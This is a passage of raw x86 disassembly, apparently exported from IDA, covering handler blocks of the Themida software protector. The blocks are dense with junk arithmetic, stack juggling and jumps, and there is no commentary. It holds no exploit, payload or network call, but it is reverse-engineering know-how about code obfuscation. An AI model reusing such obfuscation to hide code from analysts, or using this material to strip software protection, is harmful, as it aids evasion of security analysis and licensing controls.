loc_58C4A2: ; DATA XREF: Themida_:0058425Co
lodsb
push ebx
mov bl, 6Fh
push 5D7Bh
mov [esp], ecx
jmp loc_58F69E
; ---------------------------------------------------------------------------
loc_58C4B3: ; CODE XREF: sub_584787+FC6j
push esp
pop eax
jmp loc_58C037
; ---------------------------------------------------------------------------
loc_58C4BA: ; CODE XREF: sub_584787+69D3j
pop esp
mov [esp+8+var_8], eax
mov al, 0C5h
jmp loc_587027
; ---------------------------------------------------------------------------
loc_58C4C5: ; CODE XREF: sub_584787+8D98j
xchg ebp, [esp+8+var_8]
pop esp
push 73D6h
mov [esp+8+var_8], eax
mov eax, esp
add eax, 4
jmp loc_58E97E
; ---------------------------------------------------------------------------
loc_58C4DD: ; CODE XREF: sub_584787+3042j
mov edi, 4D949C2Ch
jmp loc_58E7DF
; ---------------------------------------------------------------------------
loc_58C4E7: ; CODE XREF: sub_584787+7956j
push 0EAh
jmp loc_58D9DA
; ---------------------------------------------------------------------------
loc_58C4F1: ; CODE XREF: sub_584787+3AEDj
neg edx
inc edx
dec edx
jmp loc_58C27A
; ---------------------------------------------------------------------------
loc_58C4FA: ; CODE XREF: sub_584787+3244j
pop ebp
sub esp, 4
mov [esp+40h+var_42+2], edi
mov edi, 54925683h
xor edi, 67F40594h
inc edi
dec edi
dec edi
shl edi, 4
sub edi, 0C71B2EF5h
jmp loc_5886FD
; ---------------------------------------------------------------------------
loc_58C51D: ; CODE XREF: sub_584787+1861j
push edx
mov edx, 4
jmp loc_58AB98
; ---------------------------------------------------------------------------
loc_58C528: ; CODE XREF: sub_584787+8435j
and eax, 28D564F1h
inc eax
shl eax, 1
and eax, 57DD0D60h
push edx
mov edx, 528113D7h
xor eax, edx
pop edx
xor edx, eax
pop eax
shr edx, 8
and edx, 78861E99h
push ecx
jmp loc_58B245
; ---------------------------------------------------------------------------
loc_58C550: ; CODE XREF: sub_584787+426Aj
mov word ptr [esp+30h+var_30], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C559: ; CODE XREF: sub_584787+672Fj
add esp, 4
sub eax, 65680CA5h
push 7DCh
mov [esp+0Ch+var_C], ebx
mov ebx, 23DFC6F4h
xor eax, ebx
push [esp+0Ch+var_C]
push [esp+10h+var_10]
mov ebx, [esp+14h+var_14]
push edx
mov edx, esp
jmp loc_58C1FA
; ---------------------------------------------------------------------------
loc_58C584: ; CODE XREF: sub_584787+9AAFj
add ecx, 60A5F49h
jmp loc_587065
; ---------------------------------------------------------------------------
loc_58C58F: ; CODE XREF: sub_584787+E02j
not [esp+8+var_8]
pop ebx
push ebx
push [esp+8+var_4]
mov ebx, [esp+0Ch+var_C]
push edx
sub esp, 4
mov [esp+14h+var_14], esp
add [esp+14h+var_14], 4
pop edx
jmp loc_584EC0
; ---------------------------------------------------------------------------
loc_58C5AF: ; CODE XREF: sub_584787+7C7j
push ebx
pop edx
mov ebx, [esp-4+arg_0]
add esp, 4
sub ebx, 4B8A5D3Fh
add ebx, edx
add ebx, 4B8A5D3Fh
pop edx
jmp loc_58EC32
; ---------------------------------------------------------------------------
loc_58C5CB: ; CODE XREF: sub_584787+2076j
push edi
push ecx
jmp loc_584630
; ---------------------------------------------------------------------------
loc_58C5D2: ; CODE XREF: sub_584787+A691j
pop eax
add bl, 66h
sub dh, bl
jmp loc_58B3EA
; ---------------------------------------------------------------------------
loc_58C5DD: ; CODE XREF: sub_584787+4B8Aj
pop esp
sub esp, 4
mov [esp+0], edi
sub esp, 4
jmp loc_58487C
; ---------------------------------------------------------------------------
loc_58C5EF: ; CODE XREF: sub_584787+A8Dj
or edx, eax
shl edx, 1
jmp loc_589E33
; ---------------------------------------------------------------------------
loc_58C5F8: ; CODE XREF: sub_584787+8BEj
mov eax, [esp+1Ch+var_1C]
add esp, 4
push edx
jmp loc_584662
; ---------------------------------------------------------------------------
loc_58C607: ; CODE XREF: sub_584787+B05Ej
add eax, 4
xchg eax, [esp+1Ch+var_1C]
pop esp
push 74Ah
mov [esp+1Ch+var_1C], ecx
mov ecx, 6E7E2D3Fh
xor ecx, 6E7E2D3Bh
add edi, ecx
jmp loc_58C26B
; ---------------------------------------------------------------------------
loc_58C62A: ; CODE XREF: sub_584787+B673j
mov edx, 3BF77DAFh
inc edx
jmp loc_58BF31
; ---------------------------------------------------------------------------
loc_58C635: ; CODE XREF: sub_584787+116Dj
add esp, 4
push eax
push esp
jmp loc_58F42F
; ---------------------------------------------------------------------------
loc_58C63F: ; CODE XREF: sub_584787+289Bj
mov eax, esi
pop esi
pop ebx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C648: ; CODE XREF: sub_584787+5A2Cj
push esi
mov esi, 16C05750h
add esi, 56FD0AD4h
add eax, esi
mov esi, [esp+0]
add esp, 4
sub eax, edi
sub eax, 6DBD6224h
push [esp+1Eh+var_20+2]
pop edi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
jmp loc_589C23
; ---------------------------------------------------------------------------
loc_58C67E: ; CODE XREF: sub_584787+7668j
add ebx, 4
jmp loc_58D209
; ---------------------------------------------------------------------------
loc_58C689: ; CODE XREF: sub_584787+95Dj
pop ecx
push edi
push esi
push ecx
jmp loc_58E165
; ---------------------------------------------------------------------------
loc_58C692: ; CODE XREF: sub_584787+A82j
neg ecx
shr ecx, 8
and ecx, 40DF1A10h
sub ecx, 0A2EEF2AAh
mov esi, ecx
pop ecx
and esi, 6CDC565Ah
shr esi, 5
add esi, 4F816075h
push ebx
mov ebx, 51E56093h
xor esi, ebx
pop ebx
sub eax, 77645282h
push ebx
mov ebx, 5FC7575Dh
sub eax, ebx
mov ebx, [esp+4Eh+var_4E]
add esp, 4
add eax, esi
add eax, 5FC7575Dh
jmp loc_58F464
; ---------------------------------------------------------------------------
loc_58C6E0: ; CODE XREF: sub_584787+905Bj
pop edi
sub esi, 7F161C74h
add esi, eax
add esi, 7F161C74h
add esi, 417B4A06h
push 0E89h
jmp loc_589BFE
; ---------------------------------------------------------------------------
loc_58C6FF: ; CODE XREF: sub_584787+587Aj
push 78682E1Eh
mov ebx, [esp+0]
add esp, 4
shr ebx, 3
sub ebx, 0A5CDD48Bh
jmp loc_58AE8F
; ---------------------------------------------------------------------------
loc_58C71B: ; CODE XREF: sub_584787+659Dj
sub esi, 6BEF2685h
jmp loc_58F52D
; ---------------------------------------------------------------------------
loc_58C726: ; CODE XREF: sub_584787+17AAj
mov ebx, 2
add ecx, ebx
pop ebx
jmp loc_58FCC8
; ---------------------------------------------------------------------------
loc_58C733: ; CODE XREF: sub_584787+90C8j
sub eax, 0FFFFFFFFh
xor eax, 0D3B0FC8h
neg eax
shr eax, 7
push ebx
mov ebx, 7DE17615h
sub eax, ebx
pop ebx
mov ebx, eax
pop eax
add ebx, 201227BFh
add ebx, edi
sub ebx, 201227BFh
jmp loc_58D771
; ---------------------------------------------------------------------------
loc_58C761: ; CODE XREF: sub_584787+1AD4j
mov ebx, 0
add ebx, ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+5Ah+var_5C+2]
pop esp
mov [esp+56h+var_58+2], ecx
mov cl, al
mov [ebx], cl
jmp loc_588A70
; ---------------------------------------------------------------------------
loc_58C784: ; CODE XREF: sub_584787+9857j
xchg ebp, [esp+56h+var_58+2]
pop esp
jmp loc_58A37C
; ---------------------------------------------------------------------------
loc_58C78D: ; CODE XREF: sub_584787+90DDj
mov [esp+52h+var_54+2], ecx
push [esp+52h+var_4E]
mov ecx, [esp+56h+var_58+2]
jmp loc_58807D
; ---------------------------------------------------------------------------
loc_58C79C: ; CODE XREF: sub_584787+199j
mov ebx, esp
push edi
mov edi, 1B486B90h
jmp loc_58F191
; ---------------------------------------------------------------------------
loc_58C7A9: ; CODE XREF: sub_584787+2F46j
push [esp-4+arg_0]
mov ebp, [esp+0]
add esp, 4
add esp, 4
add ebx, 4
xchg ebx, [esp-8+arg_4]
jmp loc_58F41D
; ---------------------------------------------------------------------------
loc_58C7C9: ; CODE XREF: sub_584787+9E47j
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_589C99
; ---------------------------------------------------------------------------
loc_58C7D9: ; CODE XREF: sub_584787+BE1Cj
add ch, 21h
jmp loc_58855E
; ---------------------------------------------------------------------------
loc_58C7E1: ; CODE XREF: Themida_:00584502j
add esp, 4
add esp, 4
push ebx
jmp loc_588D93
; ---------------------------------------------------------------------------
loc_58C7F0: ; CODE XREF: sub_584787+AEB0j
mov eax, [esp-0Ch+arg_8]
jmp loc_586001
; ---------------------------------------------------------------------------
loc_58C7F8: ; CODE XREF: sub_584787+188j
add esi, 4
jmp loc_58831B
; ---------------------------------------------------------------------------
loc_58C803: ; CODE XREF: sub_584787+8D4Aj
jmp loc_58853E
; ---------------------------------------------------------------------------
loc_58C808: ; CODE XREF: sub_584787+5FDCj
mov esi, [esp+0]
push ecx
jmp loc_5896AB
; ---------------------------------------------------------------------------
loc_58C811: ; CODE XREF: sub_584787+544Ej
mov ebx, edi
jmp loc_58C98C
; ---------------------------------------------------------------------------
loc_58C818: ; CODE XREF: sub_584787+132Bj
add edx, 4
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
push ebp
mov ebp, esp
push eax
jmp loc_58B14D
; ---------------------------------------------------------------------------
loc_58C82A: ; DATA XREF: Themida_:00584380o
lodsd
push 5D60h
mov [esp+14h+var_14], edx
mov edx, 3F51101Eh
push 0
sub [esp+18h+var_18], edx
pop edx
xor edx, 6DB727CAh
sub edx, 34DD51B4h
dec edx
or edx, 321B2784h
push esi
mov esi, 0E810DE03h
add edx, esi
pop esi
sub eax, edx
mov edx, [esp+14h+var_14]
jmp loc_586548
; ---------------------------------------------------------------------------
loc_58C867: ; CODE XREF: sub_584787+B7BDj
pop ebx
sub esp, 4
mov [esp+14h+var_14], edx
jmp loc_587DB4
; ---------------------------------------------------------------------------
loc_58C876: ; CODE XREF: sub_584787+BEC3j
mov ch, 7Ch
neg ch
sub ch, 0F3h
sub ch, 0B4h
add ch, 1Fh
add ch, 0E1h
add bh, 0E0h
add bh, ch
sub bh, 0E0h
pop ecx
sub bh, cl
sub bh, 0DDh
jmp loc_586147
; ---------------------------------------------------------------------------
loc_58C899: ; CODE XREF: sub_584787+8CB1j
push eax
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp+14h+var_14]
jmp loc_585A08
; ---------------------------------------------------------------------------
loc_58C8AE: ; CODE XREF: sub_584787+33B3j
shl ebp, 2
sub ebp, 0FB492CFCh
mov edi, ebp
pop ebp
push esi
mov esi, 46AE311Fh
dec esi
neg esi
shr esi, 7
jmp loc_58B2B0
; ---------------------------------------------------------------------------
loc_58C8CB: ; CODE XREF: sub_584787+C48j
xor ecx, 0EF86EF8h
not ecx
sub ecx, 45A34F4Eh
jmp loc_58E2B6
; ---------------------------------------------------------------------------
loc_58C8DE: ; CODE XREF: sub_584787+1090j
push [esp+20h+var_20]
pop esi
add esp, 4
push edx
push esp
jmp loc_588F9F
; ---------------------------------------------------------------------------
loc_58C8EF: ; CODE XREF: sub_584787+652Aj
push 180Ch
mov [esp+0Ah+var_C+2], eax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58C8FC: ; CODE XREF: sub_584787+4A10j
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+16h+var_18+2]
jmp loc_58556F
; ---------------------------------------------------------------------------
loc_58C913: ; CODE XREF: sub_584787+9640j
not dx
shr dx, 2
add dx, 0E9C8h
push small 6316h
mov word ptr [esp+18h+var_18], ax
mov ax, 2A49h
jmp loc_58482A
; ---------------------------------------------------------------------------
loc_58C930: ; CODE XREF: sub_584787+565Bj
push ebx
mov ebx, 4F5D15BCh
jmp loc_585FD7
; ---------------------------------------------------------------------------
loc_58C93B: ; CODE XREF: sub_584787+8B6Bj
xchg ebx, [esp+12h+var_14+2]
mov esp, [esp+12h+var_14+2]
jmp loc_5868AA
; ---------------------------------------------------------------------------
loc_58C946: ; CODE XREF: sub_584787+9A51j
xor bh, 6Ah
push eax
jmp loc_58E53E
; ---------------------------------------------------------------------------
loc_58C94F: ; CODE XREF: sub_584787+24F7j
push eax
push 6B91h
mov [esp+4+var_4], esi
push 59386612h
pop esi
xor esi, 59386616h
mov eax, esi
pop esi
add edx, eax
pop eax
xor edx, [esp-4+arg_0]
xor [esp-4+arg_0], edx
xor edx, [esp-4+arg_0]
pop esp
push ecx
mov ecx, esp
jmp loc_588A8E
; ---------------------------------------------------------------------------
loc_58C97C: ; CODE XREF: sub_584787+B97Dj
mov bh, 68h
xor bh, ah
pop eax
sub bh, 5Fh
push edx
mov dl, 3
jmp loc_589541
; ---------------------------------------------------------------------------
loc_58C98C: ; CODE XREF: sub_584787+808Cj
pop edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], edi
mov edi, 0BDAF596Bh
jmp loc_588A0B
; ---------------------------------------------------------------------------
loc_58C9AA: ; CODE XREF: sub_584787+AD37j
add esp, 4
jmp loc_589B6D
; ---------------------------------------------------------------------------
loc_58C9B2: ; CODE XREF: sub_584787+A3C4j
push edx
push ecx
mov ecx, 1CE2572Eh
or ecx, 7C0C1269h
not ecx
sub ecx, 4D5C6E71h
shl ecx, 4
add ecx, 0D2309038h
jmp loc_58AFF6
; ---------------------------------------------------------------------------
loc_58C9D5: ; CODE XREF: sub_584787+5BA9j
sub edx, 0BA3BE12h
add esi, edx
pop edx
add esi, 4
jmp loc_58C2E5
; ---------------------------------------------------------------------------
loc_58C9E9: ; CODE XREF: sub_584787+93B9j
push ebp
mov ebp, 203F44A6h
add ebp, 3A4944A3h
jmp loc_58D4F7
; ---------------------------------------------------------------------------
loc_58C9FA: ; CODE XREF: sub_584787+2DC8j
and eax, ebp
pop ebp
jmp loc_58B907
; ---------------------------------------------------------------------------
loc_58CA02: ; CODE XREF: sub_584787+7ABEj
pop edi
jmp loc_58F2AD
; ---------------------------------------------------------------------------
loc_58CA08: ; CODE XREF: sub_584787+3700j
pop ecx
not ecx
shr ecx, 3
sub ecx, 0FFFFFFFFh
push esi
jmp loc_589F14
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push [esp+46h+var_46]
pop eax
sub esp, 4
mov [esp+0], ecx
sub esp, 4
mov [esp+4Eh+var_4E], esp
add [esp+4Eh+var_4E], 4
pop ecx
jmp loc_586150
; ---------------------------------------------------------------------------
loc_58CA41: ; CODE XREF: sub_584787+BF32j
xor ebx, ecx
jmp loc_58D308
; ---------------------------------------------------------------------------
loc_58CA48: ; CODE XREF: sub_584787+7888j
add esp, 4
push edx
mov edx, 597F0928h
jmp loc_589AAF
; ---------------------------------------------------------------------------
loc_58CA56: ; CODE XREF: sub_584787+A04Ej
xor eax, ebx
mov ebx, [esp+8+var_8]
jmp loc_589CA4
; ---------------------------------------------------------------------------
loc_58CA60: ; CODE XREF: sub_584787+7C49j
mov esp, [esp+16h+var_18+2]
push [esp+16h+var_18+2]
mov eax, [esp+1Ah+var_1C+2]
add esp, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
push edi
push [esp+1Eh+var_1C+2]
pop edi
pop [esp+1Eh+var_20+2]
pop esp
mov [esp+16h+var_18+2], ebp
mov ebp, esp
push esi
mov esi, 472F1C77h
xor esi, 472F1C73h
add ebp, esi
pop esi
push ebx
mov ebx, 4
add ebp, 46452BF1h
add ebp, ebx
jmp loc_58F21C
; ---------------------------------------------------------------------------
loc_58CAAC: ; CODE XREF: sub_584787+96FDj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58CAB1: ; CODE XREF: sub_584787+5979j
mov ah, 35h
jmp loc_584935
; ---------------------------------------------------------------------------
loc_58CAB8: ; CODE XREF: sub_584787+774Fj
push esi
jmp loc_590717
; ---------------------------------------------------------------------------
loc_58CABE: ; CODE XREF: sub_584787+61A8j
xor ecx, 2ABD8DEh
mov ebp, ecx
pop ecx
jmp loc_58B83A
; ---------------------------------------------------------------------------
loc_58CACC: ; CODE XREF: sub_584787+2211j
sub dword ptr [esp+0], 9A55536h
pop ebx
add ebx, 9A55536h
mov ecx, [esp+1Eh+var_20+2]
add esp, 4
shr ebx, 7
push edi
mov edi, 4C726C76h
xor ebx, edi
pop edi
sub ebx, 188C7111h
add ebx, 9D72952h
xor eax, ebx
pop ebx
xor eax, 38E7C999h
mov ebp, eax
mov eax, [esp+16h+var_18+2]
add esp, 4
jmp loc_58F2BF
; ---------------------------------------------------------------------------
loc_58CB10: ; CODE XREF: sub_584787+40ECj
mov [esp+18h+var_18], edx
push ecx
push 52B067E2h
pop ecx
dec ecx
dec ecx
xor ecx, 78C4038Fh
mov edx, ecx
pop ecx
and esi, edx
pop edx
push ebp
mov ebp, 42EE55AFh
jmp loc_58AECF
; ---------------------------------------------------------------------------
loc_58CB33: ; CODE XREF: sub_584787+4D77j
mov [esp+4+var_4], ebp
mov ebp, 4
sub edx, 4A546E0Eh
add edx, ebp
jmp loc_58B80C
; ---------------------------------------------------------------------------
loc_58CB48: ; CODE XREF: sub_584787+3D35j
mov edx, 4
add ecx, edx
pop edx
jmp loc_587228
; ---------------------------------------------------------------------------
loc_58CB55: ; CODE XREF: sub_5906EA+1Ej
mov esi, 4
add ebx, esi
mov esi, [esp-8+arg_4]
add esp, 4
push edi
push esi
mov esi, 4
jmp loc_58EB1B
; ---------------------------------------------------------------------------
loc_58CB6E: ; CODE XREF: sub_584787+63A7j
mov eax, 22887672h
sub [esp+10h+var_C], eax
pop eax
jmp loc_58DF55
; ---------------------------------------------------------------------------
loc_58CB7D: ; CODE XREF: sub_584787+A263j
push esi
jmp loc_58D854
; ---------------------------------------------------------------------------
loc_58CB83: ; CODE XREF: sub_584787+8E74j
pop eax
jmp loc_586ABE
; ---------------------------------------------------------------------------
loc_58CB89: ; CODE XREF: sub_584787+BF49j
push ebx
jmp loc_58FEF4
; ---------------------------------------------------------------------------
loc_58CB8F: ; CODE XREF: sub_584787+A07Dj
pop ebp
pop edi
jmp loc_58EAC0
; ---------------------------------------------------------------------------
loc_58CB96: ; CODE XREF: sub_584787+B5EBj
sub edx, 2
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov word ptr [esp+8+var_8], bx
mov bx, 0F754h
jmp loc_588246
; ---------------------------------------------------------------------------
loc_58CBAF: ; CODE XREF: sub_584787+6024j
not edx
push eax
mov eax, 4B583B61h
or eax, 274FE4h
jmp loc_58C528
; ---------------------------------------------------------------------------
loc_58CBC1: ; CODE XREF: sub_584787+7557j
sub ebx, 72A1657Fh
sub esp, 4
mov [esp+38h+var_38], ebx
push edi
push 7F891DA6h
mov edi, [esp+40h+var_42+2]
add esp, 4
xor edi, 6AE00D94h
jmp loc_589935
; ---------------------------------------------------------------------------
loc_58CBE7: ; CODE XREF: sub_584787+8DE6j
pop ecx
jmp loc_58DE3D
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+38h+var_38]
jmp loc_586179
; ---------------------------------------------------------------------------
loc_58CBF6: ; CODE XREF: sub_584787+5960j
mov ebp, [esp+5Ah+var_5C+2]
add esp, 4
add edx, esi
add edx, 16C865AAh
pop esi
push ebp
jmp loc_58BC7D
; ---------------------------------------------------------------------------
loc_58CC0B: ; CODE XREF: sub_584787+1175j
mov eax, esp
add eax, 4
push 3EF1h
mov [esp+1Ah+var_1C+2], ecx
push ebx
jmp loc_58E560
; ---------------------------------------------------------------------------
loc_58CC20: ; CODE XREF: sub_584787+203Aj
mov [esp+0], ecx
jmp loc_58E101
; ---------------------------------------------------------------------------
loc_58CC28: ; CODE XREF: sub_584787+A916j
xor [esp+0], ecx
xor ecx, [esp+0]
mov esp, [esp+0]
mov eax, [esp+0]
push ecx
push esp
pop ecx
add ecx, 4
push edx
mov edx, 7C90789Ch
neg edx
xor edx, 836F8760h
push edx
mov edx, 494959B7h
jmp loc_58FDB5
; ---------------------------------------------------------------------------
loc_58CC56: ; CODE XREF: sub_584787+110Dj
xor ah, 8Ah
add cl, ah
jmp loc_5874FC
; ---------------------------------------------------------------------------
loc_58CC60: ; DATA XREF: Themida_:00584314o
mov ax, word ptr [esp+24h+var_26+2]
jmp loc_58FF98
; ---------------------------------------------------------------------------
loc_58CC69: ; DATA XREF: Themida_:00584280o
lodsd
xor eax, ebx
push ebp
push 7087h
mov [esp+2Ch+var_2C], esp
add [esp+2Ch+var_2C], 4
jmp loc_58EFE4
; ---------------------------------------------------------------------------
loc_58CC7E: ; DATA XREF: Themida_:0058426Co
pop dword ptr [edi+40h]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58CC86: ; CODE XREF: sub_584787+172j
push ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp+10h+var_10]
jmp loc_585E52
; ---------------------------------------------------------------------------
loc_58CC96: ; CODE XREF: sub_584787+8684j
mov esi, 4000h
jmp loc_58F97E
; ---------------------------------------------------------------------------
loc_58CCA0: ; DATA XREF: Themida_:0058437Co
mov ax, word ptr [esp+10h+var_10]
push ebp
mov ebp, esp
push 717Eh
mov [esp+18h+var_18], edi
mov edi, 26182108h
push ecx
jmp loc_5878FF
; ---------------------------------------------------------------------------
loc_58CCBA: ; CODE XREF: sub_584787+1809j
xor ecx, [esp+0]
mov esp, [esp+0]
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_58B1A5
; ---------------------------------------------------------------------------
loc_58CCCB: ; CODE XREF: sub_584787+422Aj
push 2ACC6344h
pop edi
shl edi, 1
jmp loc_58AE99
; ---------------------------------------------------------------------------
loc_58CCD8: ; CODE XREF: sub_584787+A8B1j
add ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
push ebx
push esp
jmp loc_58BEA3
; ---------------------------------------------------------------------------
loc_58CCE6: ; CODE XREF: sub_584787+AA16j
neg edx
xor edx, 7751165Dh
xor edx, 6B1A68E5h
xor edx, 17216C2Bh
jmp loc_5876A2
; ---------------------------------------------------------------------------
loc_58CCFF: ; CODE XREF: sub_584787+9FB3j
sub eax, 4
jmp loc_58ED55
; ---------------------------------------------------------------------------
loc_58CD09: ; CODE XREF: sub_584787+4DF6j
mov [esp+0], edi
jmp loc_58AD34
; ---------------------------------------------------------------------------
loc_58CD11: ; CODE XREF: sub_584787+6385j
push ecx
not [esp+38h+var_38]
pop ecx
xor ecx, 9C4F16BDh
mov edx, ecx
pop ecx
jmp loc_58AF91
; ---------------------------------------------------------------------------
loc_58CD24: ; CODE XREF: sub_584787+4B52j
xor ebx, 0AC594Bh
push ebx
jmp loc_58E07F
; ---------------------------------------------------------------------------
loc_58CD30: ; CODE XREF: sub_584787+11E5j
xor edx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
add esp, 4
sub esp, 4
mov [esp-0Ch+arg_8], ebp
sub esp, 4
mov [esp-8+arg_4], eax
jmp loc_588BF5
; ---------------------------------------------------------------------------
loc_58CD50: ; CODE XREF: sub_584787+F09j
pop ecx
pop [esp-14h+arg_E+2]
pop esp
mov [esp-1Ch+arg_18], ebp
mov ebp, 6B3906C3h
shl ebp, 5
jmp loc_58A6DA
; ---------------------------------------------------------------------------
loc_58CD65: ; CODE XREF: sub_584787+88E9j
pop ebp
push ecx
push 1D2F1B8Ah
pop ecx
jmp loc_586892
; ---------------------------------------------------------------------------
loc_58CD72: ; CODE XREF: sub_584787+B76Fj
mov cl, bl
mov ebx, [esp-1Ch+arg_18]
add esp, 4
mov eax, [esp-20h+arg_1C]
add esp, 4
jmp loc_58FEE2
; ---------------------------------------------------------------------------
loc_58CD8B: ; CODE XREF: sub_584787+86D4j
pop ebx
xchg edi, [esp-28h+arg_24]
pop esp
push 1759h
mov [esp-28h+arg_24], esi
push 556h
mov [esp-24h+arg_20], edi
mov edi, 4
mov esi, edi
mov edi, [esp-24h+arg_20]
add esp, 4
and ecx, esi
push [esp-28h+arg_24]
mov esi, [esp-24h+arg_20]
add esp, 4
push ecx
push esp
pop ecx
push edx
mov edx, 4
jmp loc_58DA57
; ---------------------------------------------------------------------------
loc_58CDCC: ; CODE XREF: sub_584787+3787j
mov esi, eax
pop eax
add edi, esi
pop esi
push edi
jmp loc_58EE45
; ---------------------------------------------------------------------------
loc_58CDD8: ; CODE XREF: sub_584787+3D27j
push ebp
mov ebp, 26825931h
sub ebp, 41116C3Eh
inc ebp
jmp loc_5875FE
; ---------------------------------------------------------------------------
loc_58CDEA: ; CODE XREF: sub_584787+1BD1j
pop dword ptr [esp+0]
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp+46h+var_46]
xor [esp+46h+var_46], ebp
xor ebp, [esp+46h+var_46]
pop esp
mov [esp+42h+var_42], edi
push esi
jmp loc_58CC96
; ---------------------------------------------------------------------------
loc_58CE10: ; CODE XREF: sub_584787+9A8Ej
and word ptr [esp+46h+var_46], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58CE1A: ; CODE XREF: sub_584787+149Ej
mov eax, 6B2F6622h
sub eax, 0FFFFFFFFh
jmp loc_587632
; ---------------------------------------------------------------------------
loc_58CE29: ; CODE XREF: sub_584787+38BEj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
jmp loc_58A06C
; ---------------------------------------------------------------------------
loc_58CE41: ; CODE XREF: sub_584787+E9j
pop esi
pop [esp+18h+var_18]
mov esp, [esp+14h+var_14]
btr word ptr [esp+14h+var_14], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58CE53: ; CODE XREF: sub_584787+1415j
add edi, ebx
sub edi, 2C7A1BBAh
jmp loc_58CD8B
; ---------------------------------------------------------------------------
loc_58CE60: ; CODE XREF: sub_584787+746Dj
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+20h+var_20]
mov esp, [esp+20h+var_20]
sub edi, 226D46D3h
sub edi, 0B66290Bh
add edi, ecx
add edi, 0B66290Bh
push eax
push 6E58h
mov [esp+0], ecx
mov ecx, 1E452EDCh
neg ecx
push eax
mov eax, 0
sub eax, ecx
xchg eax, ecx
pop eax
push edi
push esi
mov esi, 24E57748h
jmp loc_58ABA1
; ---------------------------------------------------------------------------
loc_58CEAF: ; CODE XREF: sub_584787+53CCj
xor ebp, 49916FB1h
sub ebp, 4D906FA6h
sub edx, ebp
pop ebp
dec edx
sub edx, 3431268h
mov edi, edx
mov edx, [esp+0]
add esp, 4
jmp loc_588C55
; ---------------------------------------------------------------------------
loc_58CED2: ; CODE XREF: sub_584787+B55Bj
push 7B4Ah
push esp
pop [esp+54h+var_54]
add dword ptr [esp+0], 4
pop ebx
push edx
jmp loc_58D2C6
; ---------------------------------------------------------------------------
loc_58CEE9: ; CODE XREF: sub_584787+910Bj
pop eax
add esp, 4
mov ecx, [esp+0]
jmp loc_5872A4
; ---------------------------------------------------------------------------
loc_58CEF5: ; CODE XREF: sub_584787+4CD8j
mov ah, bl
pop ebx
jmp loc_58B2CD
; ---------------------------------------------------------------------------
loc_58CEFD: ; CODE XREF: sub_584787+710Ej
mov [esp+0Eh+var_10+2], edi
push esp
pop edi
jmp loc_5861E1
; ---------------------------------------------------------------------------
loc_58CF07: ; CODE XREF: sub_584787+56Cj
mov [esp+8+var_8], ecx
push ebx
push 187046F7h
pop ebx
shr ebx, 6
sub ebx, 61B91Bh
jmp loc_5887A3
; ---------------------------------------------------------------------------
loc_58CF1F: ; CODE XREF: sub_584787+1474j
pop ebx
sub ebp, 2
xchg ebp, [esp+46h+var_46]
pop esp
jmp loc_58D27E
; ---------------------------------------------------------------------------
loc_58CF2F: ; DATA XREF: Themida_:005842C4o
lodsb
sub esp, 4
jmp loc_58BC39
; ---------------------------------------------------------------------------
loc_58CF38: ; CODE XREF: sub_584787+4D60j
push ecx
push esi
mov esi, esp
jmp loc_58788C
; ---------------------------------------------------------------------------
loc_58CF41: ; CODE XREF: sub_584787+797Ej
mov ebx, 8CAA2111h
add ebp, ebx
jmp loc_588D6A
; ---------------------------------------------------------------------------
loc_58CF4D: ; CODE XREF: sub_584787+A650j
xor ecx, ebp
pop ebp
jmp loc_58F383
; ---------------------------------------------------------------------------
loc_58CF55: ; CODE XREF: sub_584787+55ABj
add edx, 4
jmp loc_58E95C
; ---------------------------------------------------------------------------
loc_58CF60: ; CODE XREF: sub_584787+8D0Dj
push 69D8h
mov [esp+10h+var_10], ebx
mov ebx, 508EF1F8h
xor esi, ebx
pop ebx
xor eax, esi
jmp loc_58E125
; ---------------------------------------------------------------------------
loc_58CF77: ; CODE XREF: sub_584787+973Fj
add esp, 4
push 55A5h
mov [esp+0Ch+var_C], ebx
jmp loc_585444
; ---------------------------------------------------------------------------
loc_58CF8A: ; CODE XREF: sub_584787+9431j
shr edx, 2
sub edx, 0E8A813D3h
not edx
jmp loc_587B4B
; ---------------------------------------------------------------------------
loc_58CF9A: ; CODE XREF: sub_584787+8D6Bj
pop edi
add ebx, 0D101A7h
sub ebx, ebp
sub ebx, 0D101A7h
pop ebp
xor ebx, [esp+4+var_4]
jmp loc_5877CE
; ---------------------------------------------------------------------------
loc_58CFB2: ; CODE XREF: sub_584787+A57Fj
xchg ebx, [esp+4+var_4]
pop esp
jmp loc_58D61F
; ---------------------------------------------------------------------------
loc_58CFBB: ; CODE XREF: sub_584787+A576j
pop esp
shl eax, 1
jmp loc_58B019
; ---------------------------------------------------------------------------
loc_58CFC3: ; CODE XREF: sub_584787+2803j
xor esi, [esp-18h+arg_12+2]
xor [esp-18h+arg_12+2], esi
xor esi, [esp-18h+arg_12+2]
pop esp
mov fs:[edx], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58CFD6: ; CODE XREF: sub_584787+46FFj
add esi, 22DC627Eh
pop ecx
xor esi, [esp+38h+var_38]
xor [esp+38h+var_38], esi
xor esi, [esp+38h+var_38]
